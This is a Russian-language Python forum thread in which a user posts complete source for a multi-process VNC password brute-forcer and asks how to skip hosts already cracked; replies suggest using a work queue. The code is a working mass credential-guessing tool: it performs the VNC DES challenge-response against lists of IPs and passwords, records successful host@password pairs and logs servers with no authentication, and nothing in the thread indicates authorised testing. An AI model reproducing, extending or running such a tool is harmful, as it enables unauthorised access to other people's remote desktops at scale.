Найти - Пользователи
Полная версия: Прошу помощи в вопросе многопоточности.
Начало » Python для экспертов » Прошу помощи в вопросе многопоточности.
1
Mr.Anderson
Приветстувю всех. Писал для себя переборщик паролей и наткнулся на проблему. Суть проблемы:
Когда часть программы отвечающая за проверку пароля, к хосту получает валидный результат, она его запыссывает в файл. С этим все хорошо. Но после этого, программа все еще продолжает подбирать пароли к уже готовому хосту. Как сделать так, что бы хост, к которому пароль подобран, больше не проверялся?

Вот два файла которые все делают.

main.py
 from multiprocessing import Pool
from moduls.BruteModule import BruteModule, GoodException
import argparse
class MainBruteVNC(object):
    def __init__(self, ipFile, passwordFile, outFile, threadsCount, port, processCount=2):
        self.ipFile = ipFile
        self.outFile = outFile
        self.port = port
        self.threadsCount = threadsCount
        self.processCount = processCount
        self.passwordFile = passwordFile
    def buildPasswordList(self):
        f = open(self.passwordFile, 'r').readlines()
        passList = []
        for p in f:
            passList.append(p.rstrip())
        return passList
    def buildIpList(self):
        f = open(self.ipFile, 'r').readlines()
        ipList = []
        for ip in f:
            ipList.append(ip.rstrip())
        return ipList
    def mainBrute(self, password):
        bruteVNC = BruteModule(self.ipList, self.outFile, password, self.port, self.threadsCount)
        bruteVNC.runTestIp()
    def runMainBrute(self):
        self.ipList = self.buildIpList()
        pool = Pool(self.processCount)
        passwordList = self.buildPasswordList()
        pool.map(self.mainBrute, passwordList)
        pool.close()
        pool.join()
if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("-H", help="Hosts File", type=str)
    parser.add_argument("-P", help="Passwords File", type=str)
    parser.add_argument("-O", help="Out File", type=str)
    parser.add_argument("-T", help="Threads Count", type=int)
    parser.add_argument("-Po", help="Port", type=int)
    parser.add_argument("-Pc", help="Process Count", type=int)
    args = parser.parse_args()
    mainBrute = MainBruteVNC(args.H, args.P, args.O, args.T, args.Po, args.Pc)
    mainBrute.runMainBrute()

BruteModule.py
 import socket
from Crypto.Cipher import DES
from multiprocessing.dummy import Pool
class GoodException(Exception):
    def __init__(self, ip):
        Exception.__init__(self)
        self.ip = ip
class BruteModule(object):
    def __init__(self, ipList, outFile, password, port, threadsCount):
        self.ipList = ipList
        self.outFile = outFile
        self.password = password
        self.port = port
        self.threadsCount = threadsCount
    def writeResult(self, ip, password):
        f = open(self.outFile, 'a')
        f.write(ip + '@' + password + '\n')
        f.close()
    def writeResultNoAuth(self, result):
        f = open('NoAuthVNC.txt')
        try:
            f.write(result + '\n')
            f.close()
        except Exception:
            f.close()
    def genKey(self, key):
        newkey = []
        for ki in range(len(key)):
            bsrc = ord(key[ki])
            btgt = 0
            for i in range(8):
                if bsrc & (1 << i):
                    btgt = btgt | (1 << 7 - i)
            newkey.append(btgt)
        return bytes(newkey)
    def testIp(self, ip):
        print('Try ip: ' + ip + ' Password: ' + self.password)
        try:
            vnc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            vnc.settimeout(2)
            vnc.connect((ip, self.port))
            vnc_ver = vnc.recv(12)
            vnc.send(vnc_ver)
            vncres = vnc.recv(1024)
        except Exception:
            return False
        if b'\x02' in vncres:
            try:
                vnc.send(b'\x02')
                vncres = vnc.recv(99)
                pw = self.password.ljust(8, '\x00')[:8]
                key = self.genKey(pw)
                des = DES.new(key, DES.MODE_ECB)
                enc = des.encrypt(vncres)
                vnc.send(enc)
                res = vnc.recv(99)
                vnc.close()
            except Exception:
                return False
            if b'\x00\x00\x00\x00' in res:
                print('Good server: IP' + ip + '@' + self.password)
                self.writeResult(ip, self.password)
                # raise GoodException(ip)
            else:
                return False
        else:
            self.writeResultNoAuth(ip)
    def runTestIp(self):
        pool = Pool(self.threadsCount)
        pool.map(self.testIp, self.ipList)
        pool.close()
        pool.join()
sander
сделай очередь со всеми паролями, откуда воркеры черпают пароли для проверки, вместо одинакового списка каждому воркеру
Mr.Anderson
sander
сделай очередь со всеми паролями, откуда воркеры черпают пароли для проверки, вместо одинакового списка каждому воркеру
Я так понимаю, там нужна библиотека queue?
JOHN_16
да, у меня в блоге (ссылка ниже) есть на русском перевод доки и примеры
Mr.Anderson
JOHN_16
да, у меня в блоге (ссылка ниже) есть на русском перевод доки и примеры
Ну вот по вашему блогу и пытаюсь подобрать наиболее подходящий пример.
Очень полезную вещь вы сделали)
Mr.Anderson
Допустим получился у меня такой вот код
 from queue import Queue
from threading import Thread
import requests
threads = 30
def response(url):
    try:
        res = requests.get(url, timeout=2).status_code
        print(url + ' : ' + str(res))
    except Exception:
        print('Error')
def worker():
    while True:
        url = q.get()
        response(url)
        q.task_done()
def genUrl():
    f = open('sites.txt', 'r').readlines()
    sites = []
    for s in f:
        sites.append(s.rstrip())
    uniqsites = list(set(sites))
    for i in uniqsites:
        yield i
q = Queue()
for i in range(threads):
    t = Thread(target=worker)
    t.setDaemon(True)
    t.start()
for url in genUrl():
    q.put(url)
q.join()

Допустим, что это всего лишь кусок из более большой программы. И что этот кусок, будет выполняться дважды или трижды. И предположим, что в нем будет условие, которое проверят, равен ли адрес сайта из списка "http://google.com" и если равен, то программа должна удалить его из списка, что бы при следующем запуске в списке очереди, не было адреса 'http://google.com'
Как реализовать подобное?
sander

Mr.Anderson
Допустим, что это всего лишь кусок из более большой программы. И что этот кусок, будет выполняться дважды или трижды. И предположим, что в нем будет условие, которое проверят, равен ли адрес сайта из списка "http://google.com" и если равен, то программа должна удалить его из списка, что бы при следующем запуске в списке очереди, не было адреса 'http://google.com'
Как реализовать подобное?

если правильно понял вопрос, то тебе нужно записывать куда нибудь результаты (условно, хорошие и плохие) выполнения программы. При следующем старте загружать только плохие
Mr.Anderson
sander
Не не. С записью результатов все окей. Мне надо, что бы после получения положительного результата, на хост, этот хост больше не проверялся. Грубо говоря, выкинуть его из очереди.
sander
Mr.Anderson
q.get() удаляет первый елемент из очереди и возвращает его
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Powered by DjangoBB